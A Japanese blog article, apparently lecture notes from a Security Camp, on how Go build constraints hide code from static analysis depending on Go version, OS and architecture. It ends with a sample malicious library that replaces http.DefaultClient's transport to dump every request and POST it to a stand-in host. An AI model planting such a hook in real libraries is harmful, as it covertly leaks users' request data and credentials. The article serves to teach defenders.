Goで静的解析ツールを実行する場合に注意すること
はじめに
2022年のセキュリティ・キャンプ全国大会に講師として参加しました。その中で、Build Constraintを用いたソースコードを解析する際に注意することを解説しました。本記事ではその際に解説した点について記述します。
セキュリティ・キャンプで用いた資料はこちらから閲覧できます。
Build Constraintとは
Build Constraintとは、いわゆるビルドタグと呼ばれる機能で環境(OSやアーキテクチャ、Goのバージョンなど)によってコンパイルするファイルを書き分ける機能です。
次のように、//go:build
コメントディレクティブをつけることで特定の条件を満たす場合にコンパイルするように書けます。この場合はGoのバージョンが1.19以上の場合にのみコンパイルされるようにしています。
//go:build go1.19
package main
func init() {
panic("Go1.19 🎉")
}
Go1.18以下で動かすとパニックは起きませんが、Go1.19以上で動かすとパニックが発生します。Go Playgroundであれば複数のバージョンで実行できるので、試しに動かしてみると良いでしょう。なお、Go Playgroundは現在のバージョン、前のバージョン、開発バージョンで動かせます。記事執筆時点ではGo1.19が最新版なので、Go1.18で動かすと良いでしょう。Go1.19よりバージョンが上がった場合には、go1.19を最新版に読み替えてください。
ファイル名でもOSやアーキテクチャを指定することで出し分けることができます。prog__windows_amd64.go
と名前をつけると、GOOS
がwindows
でGOARCH
がamd64
の場合にだけ、コンパイル対象になります。
静的解析ツールが対象としているコード
go vet
やgo/analysisを使った静的解析ツールは、動作する環境のGOOS
やGOARCH
、そしてGoのバージョンによって解析対象のコードが変わります。つまり、その環境のビルド対象になるようなコードが静的解析の解析対象にもなるということです。
たとえば、次のようなgopher
という名前の静的解析ツールがあった場合を考えます。識別子を見つけると、gopher!!
というメッセージを該当のソースコードの位置に対して出力します。
func run(pass *analysis.Pass) (any, error) {
inspect := pass.ResultOf[inspect.Analyzer].(*inspector.Inspector)
nodeFilter := []ast.Node{
(*ast.Ident)(nil),
}
inspect.Preorder(nodeFilter, func(n ast.Node) {
switch n := n.(type) {
case *ast.Ident:
if n.Name == "gopher" {
pass.Reportf(n.Pos(), "gopher!!")
}
}
})
return nil, nil
}
これを次の2つのファイルを持つexample
パッケージに対して実行します。
//go:build go1.19
package example
func gopher() {} // want "gopher!!"
package example
次のように、この静的解析ツールをGo1.19のコンパイラでビルドし、上記のexample
パッケージを対象に実行してみます。ここでgo1.19
コマンドはGo1.19のgo
コマンドとしています[1]。go1.19 vet
コマンドを使ってビルドした静的解析ツールを実行するとa.go
の該当箇所でgopher!!
というメッセージが表示されています。
$ go1.19 build ./cmd/mylinter
$ cd testdata/src/example
$ go1.19 vet -vettool=`pwd`/../../../mylinter example
# a
./a.go:5:6: gopher!!
一方、Go1.18でビルドして実行してみます。この場合はa.go
が解析対象から外れるため、メッセージは表示されません。
$ go1.18 build -o forgo118 ./cmd/mylinter
$ cd testdata/src/example
$ go1.18 vet -vettool=`pwd`/../../../forgo118 example
なお、特定のファイルを指定して実行した場合は解析対象になるため、表示されます。
$ go1.18 vet -vettool=`pwd`/../../../forgo118 a.go
# command-line-arguments
./a.go:5:6: gopher!!
このように、静的解析ツールは実行環境やビルドした環境によって結果が異なる可能性があります。
時限型または環境型の脆弱性
Build Constraintを悪用し、時限型と環境型の脆弱性を考えてみます[2]。ここでいう時限型の脆弱性とは、未リリースのGoのバージョンに対するBuild Constraintを利用した脆弱性です。たとえば、執筆時にまだリリースされていないGo1.20に対したBuild Constraintを//go:build go1.20
のように記述します。
Goのバージョンに対するBuild Constraintは予測ができるため、Goのバージョンが上がったときにのみ動作するような悪意のあるコードを簡単に仕込むことができます。依存するモジュールに仕込まれている場合、簡単に気づけるものではありません。特に推移的に依存するモジュールに仕込まれていると発見は難しいでしょう。本番環境と開発環境やCIのGoのバージョンがずれていると発見が遅れることもあります。筆者が作成しているgithub.com/gostaticanalysis/buildtag/timebombという静的解析ツールを用いると時限型のBuild Constraintが仕掛けられている場合に見つけることができます。
環境型の脆弱性は、OSやアーキテクチャによってBuild Constraintを設定することで実現ができます。開発マシンがmacOS(GOOS=darwin
)で、本番サーバがLinux(GOOS=linux
)の場合、Linuxの場合のみ実行される脆弱性を//go:build linux
というBuild Constraintを設定することで簡単に仕込むことができます。
環境型も時限型と同じように、本番環境と開発環境やCIの実行環境が違う場合に発見が遅れます。そのため、単体テストや静的解析ツールは本番環境と同じ環境で実行することが求められます。
最後にGo1.20以上でLinuxのみ発生する脆弱性を仕込んだライブラリの例を見てみましょう。このコードがコンパイラされ実行された時のみ怪しいサイトにリクエストされた情報をおくるというものです。
//go:build go1.20 && linux
package awesomelib
import (
"bytes"
"net/http"
"net/http/httputil"
)
var c = &http.Client{}
type t struct {
org http.RoundTripper
}
func (v t) RoundTrip(req *http.Request) (*http.Response, error) {
dump, _ := httputil.DumpRequest(req, true)
c.Post("https://example.com", "text/plain", bytes.NewReader(dump))
return v.org.RoundTrip(req)
}
func init() {
http.DefaultClient.Transport = t{org: http.DefaultClient.Transport}
}
おわりに
本記事ではBuild Constraintを悪用した脆弱性について解説しました。筆者が知る限りは、この方法で脆弱性が見つかったという報告は見たことがありません。しかし、セキュリティの専門家でもない筆者が考えることができる方法で、かつ静的解析ツールの観点だと発見が難しいという点から、こういう方法があるということを知っておいても良いでしょう。
静的解析ツールはとりあえずかければ良いというものではありません。実行環境なども意識して発見したいものがちゃんと発見できているか確認しながら利用しましょう。
Discussion